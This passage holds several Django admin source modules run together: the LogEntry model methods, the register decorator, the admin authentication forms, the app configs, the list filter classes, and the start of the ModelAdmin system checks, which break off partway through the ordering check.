    class Meta:
        verbose_name = _('log entry')
        verbose_name_plural = _('log entries')
        db_table = 'django_admin_log'
        ordering = ('-action_time',)

    def __repr__(self):
        return smart_text(self.action_time)

    def __str__(self):
        if self.is_addition():
            return ugettext('Added "%(object)s".') % {'object': self.object_repr}
        elif self.is_change():
            return ugettext('Changed "%(object)s" - %(changes)s') % {
                'object': self.object_repr,
                'changes': self.get_change_message(),
            }
        elif self.is_deletion():
            return ugettext('Deleted "%(object)s."') % {'object': self.object_repr}

        return ugettext('LogEntry Object')

    def is_addition(self):
        return self.action_flag == ADDITION

    def is_change(self):
        return self.action_flag == CHANGE

    def is_deletion(self):
        return self.action_flag == DELETION

    def get_change_message(self):
        """
        If self.change_message is a JSON structure, interpret it as a change
        string, properly translated.
        """
        if self.change_message and self.change_message[0] == '[':
            try:
                change_message = json.loads(self.change_message)
            except ValueError:
                return self.change_message
            messages = []
            for sub_message in change_message:
                if 'added' in sub_message:
                    if sub_message['added']:
                        sub_message['added']['name'] = ugettext(sub_message['added']['name'])
                        messages.append(ugettext('Added {name} "{object}".').format(**sub_message['added']))
                    else:
                        messages.append(ugettext('Added.'))

                elif 'changed' in sub_message:
                    sub_message['changed']['fields'] = get_text_list(
                        sub_message['changed']['fields'], ugettext('and')
                    )
                    if 'name' in sub_message['changed']:
                        sub_message['changed']['name'] = ugettext(sub_message['changed']['name'])
                        messages.append(ugettext('Changed {fields} for {name} "{object}".').format(
                            **sub_message['changed']
                        ))
                    else:
                        messages.append(ugettext('Changed {fields}.').format(**sub_message['changed']))

                elif 'deleted' in sub_message:
                    sub_message['deleted']['name'] = ugettext(sub_message['deleted']['name'])
                    messages.append(ugettext('Deleted {name} "{object}".').format(**sub_message['deleted']))

            change_message = ' '.join(msg[0].upper() + msg[1:] for msg in messages)
            return change_message or ugettext('No fields changed.')
        else:
            return self.change_message

    def get_edited_object(self):
        "Returns the edited object represented by this log entry"
        return self.content_type.get_object_for_this_type(pk=self.object_id)

    def get_admin_url(self):
        """
        Returns the admin URL to edit the object represented by this log entry.
        """
        if self.content_type and self.object_id:
            url_name = 'admin:%s_%s_change' % (self.content_type.app_label, self.content_type.model)
            try:
                return reverse(url_name, args=(quote(self.object_id),))
            except NoReverseMatch:
                pass
        return None






def register(*models, **kwargs):
    """
    Registers the given model(s) classes and wrapped ModelAdmin class with
    admin site:

    @register(Author)
    class AuthorAdmin(admin.ModelAdmin):
        pass

    A kwarg of `site` can be passed as the admin site, otherwise the default
    admin site will be used.
    """
    from django.contrib.admin import ModelAdmin
    from django.contrib.admin.sites import site, AdminSite

    def _model_admin_wrapper(admin_class):
        if not models:
            raise ValueError('At least one model must be passed to register.')

        admin_site = kwargs.pop('site', site)

        if not isinstance(admin_site, AdminSite):
            raise ValueError('site must subclass AdminSite')

        if not issubclass(admin_class, ModelAdmin):
            raise ValueError('Wrapped class must subclass ModelAdmin.')

        admin_site.register(models, admin_class=admin_class)

        return admin_class
    return _model_admin_wrapper






from __future__ import unicode_literals

from django import forms
from django.contrib.auth.forms import AuthenticationForm, PasswordChangeForm
from django.utils.translation import ugettext_lazy as _


class AdminAuthenticationForm(AuthenticationForm):
    """
    A custom authentication form used in the admin app.
    """
    error_messages = {
        'invalid_login': _(
            "Please enter the correct %(username)s and password for a staff "
            "account. Note that both fields may be case-sensitive."
        ),
    }
    required_css_class = 'required'

    def confirm_login_allowed(self, user):
        if not user.is_active or not user.is_staff:
            raise forms.ValidationError(
                self.error_messages['invalid_login'],
                code='invalid_login',
                params={'username': self.username_field.verbose_name}
            )


class AdminPasswordChangeForm(PasswordChangeForm):
    required_css_class = 'required'






from django.apps import AppConfig
from django.contrib.admin.checks import check_admin_app, check_dependencies
from django.core import checks
from django.utils.translation import ugettext_lazy as _


class SimpleAdminConfig(AppConfig):
    """Simple AppConfig which does not do automatic discovery."""

    name = 'django.contrib.admin'
    verbose_name = _("Administration")

    def ready(self):
        checks.register(check_dependencies, checks.Tags.admin)
        checks.register(check_admin_app, checks.Tags.admin)


class AdminConfig(SimpleAdminConfig):
    """The default AppConfig for admin which does autodiscovery."""

    def ready(self):
        super(AdminConfig, self).ready()
        self.module.autodiscover()






"""
This encapsulates the logic for displaying filters in the Django admin.
Filters are specified in models with the "list_filter" option.

Each filter subclass knows how to display a filter for a field that passes a
certain test -- e.g. being a DateField or ForeignKey.
"""
import datetime

from django.contrib.admin.options import IncorrectLookupParameters
from django.contrib.admin.utils import (
    get_model_from_relation, prepare_lookup_value, reverse_field_path,
)
from django.core.exceptions import ImproperlyConfigured, ValidationError
from django.db import models
from django.utils import timezone
from django.utils.encoding import force_text, smart_text
from django.utils.translation import ugettext_lazy as _


class ListFilter(object):
    title = None  # Human-readable title to appear in the right sidebar.
    template = 'admin/filter.html'

    def __init__(self, request, params, model, model_admin):
        # This dictionary will eventually contain the request's query string
        # parameters actually used by this filter.
        self.used_parameters = {}
        if self.title is None:
            raise ImproperlyConfigured(
                "The list filter '%s' does not specify "
                "a 'title'." % self.__class__.__name__)

    def has_output(self):
        """
        Returns True if some choices would be output for this filter.
        """
        raise NotImplementedError('subclasses of ListFilter must provide a has_output() method')

    def choices(self, changelist):
        """
        Returns choices ready to be output in the template.

        `changelist` is the ChangeList to be displayed.
        """
        raise NotImplementedError('subclasses of ListFilter must provide a choices() method')

    def queryset(self, request, queryset):
        """
        Returns the filtered queryset.
        """
        raise NotImplementedError('subclasses of ListFilter must provide a queryset() method')

    def expected_parameters(self):
        """
        Returns the list of parameter names that are expected from the
        request's query string and that will be used by this filter.
        """
        raise NotImplementedError('subclasses of ListFilter must provide an expected_parameters() method')


class SimpleListFilter(ListFilter):
    # The parameter that should be used in the query string for that filter.
    parameter_name = None

    def __init__(self, request, params, model, model_admin):
        super(SimpleListFilter, self).__init__(
            request, params, model, model_admin)
        if self.parameter_name is None:
            raise ImproperlyConfigured(
                "The list filter '%s' does not specify "
                "a 'parameter_name'." % self.__class__.__name__)
        if self.parameter_name in params:
            value = params.pop(self.parameter_name)
            self.used_parameters[self.parameter_name] = value
        lookup_choices = self.lookups(request, model_admin)
        if lookup_choices is None:
            lookup_choices = ()
        self.lookup_choices = list(lookup_choices)

    def has_output(self):
        return len(self.lookup_choices) > 0

    def value(self):
        """
        Returns the value (in string format) provided in the request's
        query string for this filter, if any. If the value wasn't provided then
        returns None.
        """
        return self.used_parameters.get(self.parameter_name)

    def lookups(self, request, model_admin):
        """
        Must be overridden to return a list of tuples (value, verbose value)
        """
        raise NotImplementedError(
            'The SimpleListFilter.lookups() method must be overridden to '
            'return a list of tuples (value, verbose value)')

    def expected_parameters(self):
        return [self.parameter_name]

    def choices(self, changelist):
        yield {
            'selected': self.value() is None,
            'query_string': changelist.get_query_string({}, [self.parameter_name]),
            'display': _('All'),
        }
        for lookup, title in self.lookup_choices:
            yield {
                'selected': self.value() == force_text(lookup),
                'query_string': changelist.get_query_string({self.parameter_name: lookup}, []),
                'display': title,
            }


class FieldListFilter(ListFilter):
    _field_list_filters = []
    _take_priority_index = 0

    def __init__(self, field, request, params, model, model_admin, field_path):
        self.field = field
        self.field_path = field_path
        self.title = getattr(field, 'verbose_name', field_path)
        super(FieldListFilter, self).__init__(
            request, params, model, model_admin)
        for p in self.expected_parameters():
            if p in params:
                value = params.pop(p)
                self.used_parameters[p] = prepare_lookup_value(p, value)

    def has_output(self):
        return True

    def queryset(self, request, queryset):
        try:
            return queryset.filter(**self.used_parameters)
        except ValidationError as e:
            raise IncorrectLookupParameters(e)

    @classmethod
    def register(cls, test, list_filter_class, take_priority=False):
        if take_priority:
            # This is to allow overriding the default filters for certain types
            # of fields with some custom filters. The first found in the list
            # is used in priority.
            cls._field_list_filters.insert(
                cls._take_priority_index, (test, list_filter_class))
            cls._take_priority_index += 1
        else:
            cls._field_list_filters.append((test, list_filter_class))

    @classmethod
    def create(cls, field, request, params, model, model_admin, field_path):
        for test, list_filter_class in cls._field_list_filters:
            if not test(field):
                continue
            return list_filter_class(field, request, params, model, model_admin, field_path=field_path)


class RelatedFieldListFilter(FieldListFilter):
    def __init__(self, field, request, params, model, model_admin, field_path):
        other_model = get_model_from_relation(field)
        self.lookup_kwarg = '%s__%s__exact' % (field_path, field.target_field.name)
        self.lookup_kwarg_isnull = '%s__isnull' % field_path
        self.lookup_val = request.GET.get(self.lookup_kwarg)
        self.lookup_val_isnull = request.GET.get(self.lookup_kwarg_isnull)
        super(RelatedFieldListFilter, self).__init__(
            field, request, params, model, model_admin, field_path)
        self.lookup_choices = self.field_choices(field, request, model_admin)
        if hasattr(field, 'verbose_name'):
            self.lookup_title = field.verbose_name
        else:
            self.lookup_title = other_model._meta.verbose_name
        self.title = self.lookup_title
        self.empty_value_display = model_admin.get_empty_value_display()

    @property
    def include_empty_choice(self):
        """
        Return True if a "(None)" choice should be included, which filters
        out everything except empty relationships.
        """
        return self.field.null or (self.field.is_relation and self.field.many_to_many)

    def has_output(self):
        if self.include_empty_choice:
            extra = 1
        else:
            extra = 0
        return len(self.lookup_choices) + extra > 1

    def expected_parameters(self):
        return [self.lookup_kwarg, self.lookup_kwarg_isnull]

    def field_choices(self, field, request, model_admin):
        return field.get_choices(include_blank=False)

    def choices(self, changelist):
        yield {
            'selected': self.lookup_val is None and not self.lookup_val_isnull,
            'query_string': changelist.get_query_string(
                {},
                [self.lookup_kwarg, self.lookup_kwarg_isnull]
            ),
            'display': _('All'),
        }
        for pk_val, val in self.lookup_choices:
            yield {
                'selected': self.lookup_val == smart_text(pk_val),
                'query_string': changelist.get_query_string({
                    self.lookup_kwarg: pk_val,
                }, [self.lookup_kwarg_isnull]),
                'display': val,
            }
        if self.include_empty_choice:
            yield {
                'selected': bool(self.lookup_val_isnull),
                'query_string': changelist.get_query_string({
                    self.lookup_kwarg_isnull: 'True',
                }, [self.lookup_kwarg]),
                'display': self.empty_value_display,
            }

FieldListFilter.register(lambda f: f.remote_field, RelatedFieldListFilter)


class BooleanFieldListFilter(FieldListFilter):
    def __init__(self, field, request, params, model, model_admin, field_path):
        self.lookup_kwarg = '%s__exact' % field_path
        self.lookup_kwarg2 = '%s__isnull' % field_path
        self.lookup_val = request.GET.get(self.lookup_kwarg)
        self.lookup_val2 = request.GET.get(self.lookup_kwarg2)
        super(BooleanFieldListFilter, self).__init__(field, request, params, model, model_admin, field_path)
        if (self.used_parameters and self.lookup_kwarg in self.used_parameters and
                self.used_parameters[self.lookup_kwarg] in ('1', '0')):
            self.used_parameters[self.lookup_kwarg] = bool(int(self.used_parameters[self.lookup_kwarg]))

    def expected_parameters(self):
        return [self.lookup_kwarg, self.lookup_kwarg2]

    def choices(self, changelist):
        for lookup, title in (
                (None, _('All')),
                ('1', _('Yes')),
                ('0', _('No'))):
            yield {
                'selected': self.lookup_val == lookup and not self.lookup_val2,
                'query_string': changelist.get_query_string({
                    self.lookup_kwarg: lookup,
                }, [self.lookup_kwarg2]),
                'display': title,
            }
        if isinstance(self.field, models.NullBooleanField):
            yield {
                'selected': self.lookup_val2 == 'True',
                'query_string': changelist.get_query_string({
                    self.lookup_kwarg2: 'True',
                }, [self.lookup_kwarg]),
                'display': _('Unknown'),
            }

FieldListFilter.register(
    lambda f: isinstance(f, (models.BooleanField, models.NullBooleanField)),
    BooleanFieldListFilter
)


class ChoicesFieldListFilter(FieldListFilter):
    def __init__(self, field, request, params, model, model_admin, field_path):
        self.lookup_kwarg = '%s__exact' % field_path
        self.lookup_kwarg_isnull = '%s__isnull' % field_path
        self.lookup_val = request.GET.get(self.lookup_kwarg)
        self.lookup_val_isnull = request.GET.get(self.lookup_kwarg_isnull)
        super(ChoicesFieldListFilter, self).__init__(
            field, request, params, model, model_admin, field_path)

    def expected_parameters(self):
        return [self.lookup_kwarg, self.lookup_kwarg_isnull]

    def choices(self, changelist):
        yield {
            'selected': self.lookup_val is None,
            'query_string': changelist.get_query_string(
                {}, [self.lookup_kwarg, self.lookup_kwarg_isnull]
            ),
            'display': _('All')
        }
        none_title = ''
        for lookup, title in self.field.flatchoices:
            if lookup is None:
                none_title = title
                continue
            yield {
                'selected': smart_text(lookup) == self.lookup_val,
                'query_string': changelist.get_query_string(
                    {self.lookup_kwarg: lookup}, [self.lookup_kwarg_isnull]
                ),
                'display': title,
            }
        if none_title:
            yield {
                'selected': bool(self.lookup_val_isnull),
                'query_string': changelist.get_query_string({
                    self.lookup_kwarg_isnull: 'True',
                }, [self.lookup_kwarg]),
                'display': none_title,
            }

FieldListFilter.register(lambda f: bool(f.choices), ChoicesFieldListFilter)


class DateFieldListFilter(FieldListFilter):
    def __init__(self, field, request, params, model, model_admin, field_path):
        self.field_generic = '%s__' % field_path
        self.date_params = {k: v for k, v in params.items() if k.startswith(self.field_generic)}

        now = timezone.now()
        # When time zone support is enabled, convert "now" to the user's time
        # zone so Django's definition of "Today" matches what the user expects.
        if timezone.is_aware(now):
            now = timezone.localtime(now)

        if isinstance(field, models.DateTimeField):
            today = now.replace(hour=0, minute=0, second=0, microsecond=0)
        else:       # field is a models.DateField
            today = now.date()
        tomorrow = today + datetime.timedelta(days=1)
        if today.month == 12:
            next_month = today.replace(year=today.year + 1, month=1, day=1)
        else:
            next_month = today.replace(month=today.month + 1, day=1)
        next_year = today.replace(year=today.year + 1, month=1, day=1)

        self.lookup_kwarg_since = '%s__gte' % field_path
        self.lookup_kwarg_until = '%s__lt' % field_path
        self.links = (
            (_('Any date'), {}),
            (_('Today'), {
                self.lookup_kwarg_since: str(today),
                self.lookup_kwarg_until: str(tomorrow),
            }),
            (_('Past 7 days'), {
                self.lookup_kwarg_since: str(today - datetime.timedelta(days=7)),
                self.lookup_kwarg_until: str(tomorrow),
            }),
            (_('This month'), {
                self.lookup_kwarg_since: str(today.replace(day=1)),
                self.lookup_kwarg_until: str(next_month),
            }),
            (_('This year'), {
                self.lookup_kwarg_since: str(today.replace(month=1, day=1)),
                self.lookup_kwarg_until: str(next_year),
            }),
        )
        if field.null:
            self.lookup_kwarg_isnull = '%s__isnull' % field_path
            self.links += (
                (_('No date'), {self.field_generic + 'isnull': 'True'}),
                (_('Has date'), {self.field_generic + 'isnull': 'False'}),
            )
        super(DateFieldListFilter, self).__init__(
            field, request, params, model, model_admin, field_path)

    def expected_parameters(self):
        params = [self.lookup_kwarg_since, self.lookup_kwarg_until]
        if self.field.null:
            params.append(self.lookup_kwarg_isnull)
        return params

    def choices(self, changelist):
        for title, param_dict in self.links:
            yield {
                'selected': self.date_params == param_dict,
                'query_string': changelist.get_query_string(param_dict, [self.field_generic]),
                'display': title,
            }

FieldListFilter.register(
    lambda f: isinstance(f, models.DateField), DateFieldListFilter)


# This should be registered last, because it's a last resort. For example,
# if a field is eligible to use the BooleanFieldListFilter, that'd be much
# more appropriate, and the AllValuesFieldListFilter won't get used for it.
class AllValuesFieldListFilter(FieldListFilter):
    def __init__(self, field, request, params, model, model_admin, field_path):
        self.lookup_kwarg = field_path
        self.lookup_kwarg_isnull = '%s__isnull' % field_path
        self.lookup_val = request.GET.get(self.lookup_kwarg)
        self.lookup_val_isnull = request.GET.get(self.lookup_kwarg_isnull)
        self.empty_value_display = model_admin.get_empty_value_display()
        parent_model, reverse_path = reverse_field_path(model, field_path)
        # Obey parent ModelAdmin queryset when deciding which options to show
        if model == parent_model:
            queryset = model_admin.get_queryset(request)
        else:
            queryset = parent_model._default_manager.all()
        self.lookup_choices = (queryset
                               .distinct()
                               .order_by(field.name)
                               .values_list(field.name, flat=True))
        super(AllValuesFieldListFilter, self).__init__(
            field, request, params, model, model_admin, field_path)

    def expected_parameters(self):
        return [self.lookup_kwarg, self.lookup_kwarg_isnull]

    def choices(self, changelist):
        yield {
            'selected': self.lookup_val is None and self.lookup_val_isnull is None,
            'query_string': changelist.get_query_string({}, [self.lookup_kwarg, self.lookup_kwarg_isnull]),
            'display': _('All'),
        }
        include_none = False
        for val in self.lookup_choices:
            if val is None:
                include_none = True
                continue
            val = smart_text(val)
            yield {
                'selected': self.lookup_val == val,
                'query_string': changelist.get_query_string({
                    self.lookup_kwarg: val,
                }, [self.lookup_kwarg_isnull]),
                'display': val,
            }
        if include_none:
            yield {
                'selected': bool(self.lookup_val_isnull),
                'query_string': changelist.get_query_string({
                    self.lookup_kwarg_isnull: 'True',
                }, [self.lookup_kwarg]),
                'display': self.empty_value_display,
            }

FieldListFilter.register(lambda f: True, AllValuesFieldListFilter)


class RelatedOnlyFieldListFilter(RelatedFieldListFilter):
    def field_choices(self, field, request, model_admin):
        pk_qs = model_admin.get_queryset(request).distinct().values_list('%s__pk' % self.field_path, flat=True)
        return field.get_choices(include_blank=False, limit_choices_to={'pk__in': pk_qs})






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from itertools import chain

from django.apps import apps
from django.conf import settings
from django.contrib.admin.utils import (
    NotRelationField, flatten, get_fields_from_path,
)
from django.core import checks
from django.core.exceptions import FieldDoesNotExist
from django.db import models
from django.forms.models import (
    BaseModelForm, BaseModelFormSet, _get_foreign_key,
)
from django.template.engine import Engine


def check_admin_app(**kwargs):
    from django.contrib.admin.sites import system_check_errors

    return system_check_errors


def check_dependencies(**kwargs):
    """
    Check that the admin's dependencies are correctly installed.
    """
    errors = []
    # contrib.contenttypes must be installed.
    if not apps.is_installed('django.contrib.contenttypes'):
        missing_app = checks.Error(
            "'django.contrib.contenttypes' must be in INSTALLED_APPS in order "
            "to use the admin application.",
            id="admin.E401",
        )
        errors.append(missing_app)
    # The auth context processor must be installed if using the default
    # authentication backend.
    try:
        default_template_engine = Engine.get_default()
    except Exception:
        # Skip this non-critical check:
        # 1. if the user has a non-trivial TEMPLATES setting and Django
        #    can't find a default template engine
        # 2. if anything goes wrong while loading template engines, in
        #    order to avoid raising an exception from a confusing location
        # Catching ImproperlyConfigured suffices for 1. but 2. requires
        # catching all exceptions.
        pass
    else:
        if ('django.contrib.auth.context_processors.auth'
                not in default_template_engine.context_processors and
                'django.contrib.auth.backends.ModelBackend' in settings.AUTHENTICATION_BACKENDS):
            missing_template = checks.Error(
                "'django.contrib.auth.context_processors.auth' must be in "
                "TEMPLATES in order to use the admin application.",
                id="admin.E402"
            )
            errors.append(missing_template)
    return errors


class BaseModelAdminChecks(object):

    def check(self, admin_obj, **kwargs):
        errors = []
        errors.extend(self._check_raw_id_fields(admin_obj))
        errors.extend(self._check_fields(admin_obj))
        errors.extend(self._check_fieldsets(admin_obj))
        errors.extend(self._check_exclude(admin_obj))
        errors.extend(self._check_form(admin_obj))
        errors.extend(self._check_filter_vertical(admin_obj))
        errors.extend(self._check_filter_horizontal(admin_obj))
        errors.extend(self._check_radio_fields(admin_obj))
        errors.extend(self._check_prepopulated_fields(admin_obj))
        errors.extend(self._check_view_on_site_url(admin_obj))
        errors.extend(self._check_ordering(admin_obj))
        errors.extend(self._check_readonly_fields(admin_obj))
        return errors

    def _check_raw_id_fields(self, obj):
        """ Check that `raw_id_fields` only contains field names that are listed
        on the model. """

        if not isinstance(obj.raw_id_fields, (list, tuple)):
            return must_be('a list or tuple', option='raw_id_fields', obj=obj, id='admin.E001')
        else:
            return list(chain(*[
                self._check_raw_id_fields_item(obj, obj.model, field_name, 'raw_id_fields[%d]' % index)
                for index, field_name in enumerate(obj.raw_id_fields)
            ]))

    def _check_raw_id_fields_item(self, obj, model, field_name, label):
        """ Check an item of `raw_id_fields`, i.e. check that field named
        `field_name` exists in model `model` and is a ForeignKey or a
        ManyToManyField. """

        try:
            field = model._meta.get_field(field_name)
        except FieldDoesNotExist:
            return refer_to_missing_field(field=field_name, option=label,
                                          model=model, obj=obj, id='admin.E002')
        else:
            if not field.many_to_many and not isinstance(field, models.ForeignKey):
                return must_be('a foreign key or a many-to-many field',
                               option=label, obj=obj, id='admin.E003')
            else:
                return []

    def _check_fields(self, obj):
        """ Check that `fields` only refer to existing fields, doesn't contain
        duplicates. Check if at most one of `fields` and `fieldsets` is defined.
        """

        if obj.fields is None:
            return []
        elif not isinstance(obj.fields, (list, tuple)):
            return must_be('a list or tuple', option='fields', obj=obj, id='admin.E004')
        elif obj.fieldsets:
            return [
                checks.Error(
                    "Both 'fieldsets' and 'fields' are specified.",
                    obj=obj.__class__,
                    id='admin.E005',
                )
            ]
        fields = flatten(obj.fields)
        if len(fields) != len(set(fields)):
            return [
                checks.Error(
                    "The value of 'fields' contains duplicate field(s).",
                    obj=obj.__class__,
                    id='admin.E006',
                )
            ]

        return list(chain(*[
            self._check_field_spec(obj, obj.model, field_name, 'fields')
            for field_name in obj.fields
        ]))

    def _check_fieldsets(self, obj):
        """ Check that fieldsets is properly formatted and doesn't contain
        duplicates. """

        if obj.fieldsets is None:
            return []
        elif not isinstance(obj.fieldsets, (list, tuple)):
            return must_be('a list or tuple', option='fieldsets', obj=obj, id='admin.E007')
        else:
            return list(chain(*[
                self._check_fieldsets_item(obj, obj.model, fieldset, 'fieldsets[%d]' % index)
                for index, fieldset in enumerate(obj.fieldsets)
            ]))

    def _check_fieldsets_item(self, obj, model, fieldset, label):
        """ Check an item of `fieldsets`, i.e. check that this is a pair of a
        set name and a dictionary containing "fields" key. """

        if not isinstance(fieldset, (list, tuple)):
            return must_be('a list or tuple', option=label, obj=obj, id='admin.E008')
        elif len(fieldset) != 2:
            return must_be('of length 2', option=label, obj=obj, id='admin.E009')
        elif not isinstance(fieldset[1], dict):
            return must_be('a dictionary', option='%s[1]' % label, obj=obj, id='admin.E010')
        elif 'fields' not in fieldset[1]:
            return [
                checks.Error(
                    "The value of '%s[1]' must contain the key 'fields'." % label,
                    obj=obj.__class__,
                    id='admin.E011',
                )
            ]
        elif not isinstance(fieldset[1]['fields'], (list, tuple)):
            return must_be('a list or tuple', option="%s[1]['fields']" % label, obj=obj, id='admin.E008')

        fields = flatten(fieldset[1]['fields'])
        if len(fields) != len(set(fields)):
            return [
                checks.Error(
                    "There are duplicate field(s) in '%s[1]'." % label,
                    obj=obj.__class__,
                    id='admin.E012',
                )
            ]
        return list(chain(*[
            self._check_field_spec(obj, model, fieldset_fields, '%s[1]["fields"]' % label)
            for fieldset_fields in fieldset[1]['fields']
        ]))

    def _check_field_spec(self, obj, model, fields, label):
        """ `fields` should be an item of `fields` or an item of
        fieldset[1]['fields'] for any `fieldset` in `fieldsets`. It should be a
        field name or a tuple of field names. """

        if isinstance(fields, tuple):
            return list(chain(*[
                self._check_field_spec_item(obj, model, field_name, "%s[%d]" % (label, index))
                for index, field_name in enumerate(fields)
            ]))
        else:
            return self._check_field_spec_item(obj, model, fields, label)

    def _check_field_spec_item(self, obj, model, field_name, label):
        if field_name in obj.readonly_fields:
            # Stuff can be put in fields that isn't actually a model field if
            # it's in readonly_fields, readonly_fields will handle the
            # validation of such things.
            return []
        else:
            try:
                field = model._meta.get_field(field_name)
            except FieldDoesNotExist:
                # If we can't find a field on the model that matches, it could
                # be an extra field on the form.
                return []
            else:
                if (isinstance(field, models.ManyToManyField) and
                        not field.remote_field.through._meta.auto_created):
                    return [
                        checks.Error(
                            "The value of '%s' cannot include the ManyToManyField '%s', "
                            "because that field manually specifies a relationship model."
                            % (label, field_name),
                            obj=obj.__class__,
                            id='admin.E013',
                        )
                    ]
                else:
                    return []

    def _check_exclude(self, obj):
        """ Check that exclude is a sequence without duplicates. """

        if obj.exclude is None:  # default value is None
            return []
        elif not isinstance(obj.exclude, (list, tuple)):
            return must_be('a list or tuple', option='exclude', obj=obj, id='admin.E014')
        elif len(obj.exclude) > len(set(obj.exclude)):
            return [
                checks.Error(
                    "The value of 'exclude' contains duplicate field(s).",
                    obj=obj.__class__,
                    id='admin.E015',
                )
            ]
        else:
            return []

    def _check_form(self, obj):
        """ Check that form subclasses BaseModelForm. """

        if hasattr(obj, 'form') and not issubclass(obj.form, BaseModelForm):
            return must_inherit_from(parent='BaseModelForm', option='form',
                                     obj=obj, id='admin.E016')
        else:
            return []

    def _check_filter_vertical(self, obj):
        """ Check that filter_vertical is a sequence of field names. """

        if not hasattr(obj, 'filter_vertical'):
            return []
        elif not isinstance(obj.filter_vertical, (list, tuple)):
            return must_be('a list or tuple', option='filter_vertical', obj=obj, id='admin.E017')
        else:
            return list(chain(*[
                self._check_filter_item(obj, obj.model, field_name, "filter_vertical[%d]" % index)
                for index, field_name in enumerate(obj.filter_vertical)
            ]))

    def _check_filter_horizontal(self, obj):
        """ Check that filter_horizontal is a sequence of field names. """

        if not hasattr(obj, 'filter_horizontal'):
            return []
        elif not isinstance(obj.filter_horizontal, (list, tuple)):
            return must_be('a list or tuple', option='filter_horizontal', obj=obj, id='admin.E018')
        else:
            return list(chain(*[
                self._check_filter_item(obj, obj.model, field_name, "filter_horizontal[%d]" % index)
                for index, field_name in enumerate(obj.filter_horizontal)
            ]))

    def _check_filter_item(self, obj, model, field_name, label):
        """ Check one item of `filter_vertical` or `filter_horizontal`, i.e.
        check that given field exists and is a ManyToManyField. """

        try:
            field = model._meta.get_field(field_name)
        except FieldDoesNotExist:
            return refer_to_missing_field(field=field_name, option=label,
                                          model=model, obj=obj, id='admin.E019')
        else:
            if not field.many_to_many:
                return must_be('a many-to-many field', option=label, obj=obj, id='admin.E020')
            else:
                return []

    def _check_radio_fields(self, obj):
        """ Check that `radio_fields` is a dictionary. """

        if not hasattr(obj, 'radio_fields'):
            return []
        elif not isinstance(obj.radio_fields, dict):
            return must_be('a dictionary', option='radio_fields', obj=obj, id='admin.E021')
        else:
            return list(chain(*[
                self._check_radio_fields_key(obj, obj.model, field_name, 'radio_fields') +
                self._check_radio_fields_value(obj, val, 'radio_fields["%s"]' % field_name)
                for field_name, val in obj.radio_fields.items()
            ]))

    def _check_radio_fields_key(self, obj, model, field_name, label):
        """ Check that a key of `radio_fields` dictionary is name of existing
        field and that the field is a ForeignKey or has `choices` defined. """

        try:
            field = model._meta.get_field(field_name)
        except FieldDoesNotExist:
            return refer_to_missing_field(field=field_name, option=label,
                                          model=model, obj=obj, id='admin.E022')
        else:
            if not (isinstance(field, models.ForeignKey) or field.choices):
                return [
                    checks.Error(
                        "The value of '%s' refers to '%s', which is not an "
                        "instance of ForeignKey, and does not have a 'choices' definition." % (
                            label, field_name
                        ),
                        obj=obj.__class__,
                        id='admin.E023',
                    )
                ]
            else:
                return []

    def _check_radio_fields_value(self, obj, val, label):
        """ Check type of a value of `radio_fields` dictionary. """

        from django.contrib.admin.options import HORIZONTAL, VERTICAL

        if val not in (HORIZONTAL, VERTICAL):
            return [
                checks.Error(
                    "The value of '%s' must be either admin.HORIZONTAL or admin.VERTICAL." % label,
                    obj=obj.__class__,
                    id='admin.E024',
                )
            ]
        else:
            return []

    def _check_view_on_site_url(self, obj):
        if hasattr(obj, 'view_on_site'):
            if not callable(obj.view_on_site) and not isinstance(obj.view_on_site, bool):
                return [
                    checks.Error(
                        "The value of 'view_on_site' must be a callable or a boolean value.",
                        obj=obj.__class__,
                        id='admin.E025',
                    )
                ]
            else:
                return []
        else:
            return []

    def _check_prepopulated_fields(self, obj):
        """ Check that `prepopulated_fields` is a dictionary containing allowed
        field types. """

        if not hasattr(obj, 'prepopulated_fields'):
            return []
        elif not isinstance(obj.prepopulated_fields, dict):
            return must_be('a dictionary', option='prepopulated_fields', obj=obj, id='admin.E026')
        else:
            return list(chain(*[
                self._check_prepopulated_fields_key(obj, obj.model, field_name, 'prepopulated_fields') +
                self._check_prepopulated_fields_value(obj, obj.model, val, 'prepopulated_fields["%s"]' % field_name)
                for field_name, val in obj.prepopulated_fields.items()
            ]))

    def _check_prepopulated_fields_key(self, obj, model, field_name, label):
        """ Check a key of `prepopulated_fields` dictionary, i.e. check that it
        is a name of existing field and the field is one of the allowed types.
        """

        try:
            field = model._meta.get_field(field_name)
        except FieldDoesNotExist:
            return refer_to_missing_field(field=field_name, option=label,
                                          model=model, obj=obj, id='admin.E027')
        else:
            if isinstance(field, (models.DateTimeField, models.ForeignKey, models.ManyToManyField)):
                return [
                    checks.Error(
                        "The value of '%s' refers to '%s', which must not be a DateTimeField, "
                        "a ForeignKey, or a ManyToManyField." % (label, field_name),
                        obj=obj.__class__,
                        id='admin.E028',
                    )
                ]
            else:
                return []

    def _check_prepopulated_fields_value(self, obj, model, val, label):
        """ Check a value of `prepopulated_fields` dictionary, i.e. it's an
        iterable of existing fields. """

        if not isinstance(val, (list, tuple)):
            return must_be('a list or tuple', option=label, obj=obj, id='admin.E029')
        else:
            return list(chain(*[
                self._check_prepopulated_fields_value_item(obj, model, subfield_name, "%s[%r]" % (label, index))
                for index, subfield_name in enumerate(val)
            ]))

    def _check_prepopulated_fields_value_item(self, obj, model, field_name, label):
        """ For `prepopulated_fields` equal to {"slug": ("title",)},
        `field_name` is "title". """

        try:
            model._meta.get_field(field_name)
        except FieldDoesNotExist:
            return refer_to_missing_field(field=field_name, option=label, model=model, obj=obj, id='admin.E030')
        else:
            return []

    def _check_ordering(self, obj):
        """ Check that ordering refers to existing fields or is random. """

        # ordering = None
        if obj.ordering is None:  # The default value is None
            return []
        elif not isinstance(obj.ordering, (list, tuple)):
            return must_be('a list or tuple', option='ordering', obj=obj, id='admin.E031')
        else:
            return list(chain(*[
                self._check_ordering_item(obj, obj.model, field_name, 'ordering[%d]' % index)
                for index, field_name in enumerate(obj.ordering)
            ]))

    def _check_ordering_item(self, obj, model, field_name, label):
        """ Check that `ordering` refers to existing fields. """

        if field_name == '?' and len(obj.ordering) != 1:
            return [
                checks.Error(
                    "The value of 'ordering' has the random ordering marker '?', "
                    "but contains other fields as well.",
                    hint='Either remove the "?", or remove the other fields.',
                    obj=obj.__class__,
                    id='admin.E032',
                )
            ]
        elif field_name == '?':
            return []
        elif '__' in field_name:
            # Skip ordering in the format field1__field2 (FIXME: checking
            # this format would be nice, but it's a little fiddly).
            return []
        else:
            if field_name.startswith('-'):
                field_name = field_name[1:]

            try:
                model._meta.get_field(field_name)
            except FieldDoesNotExist:
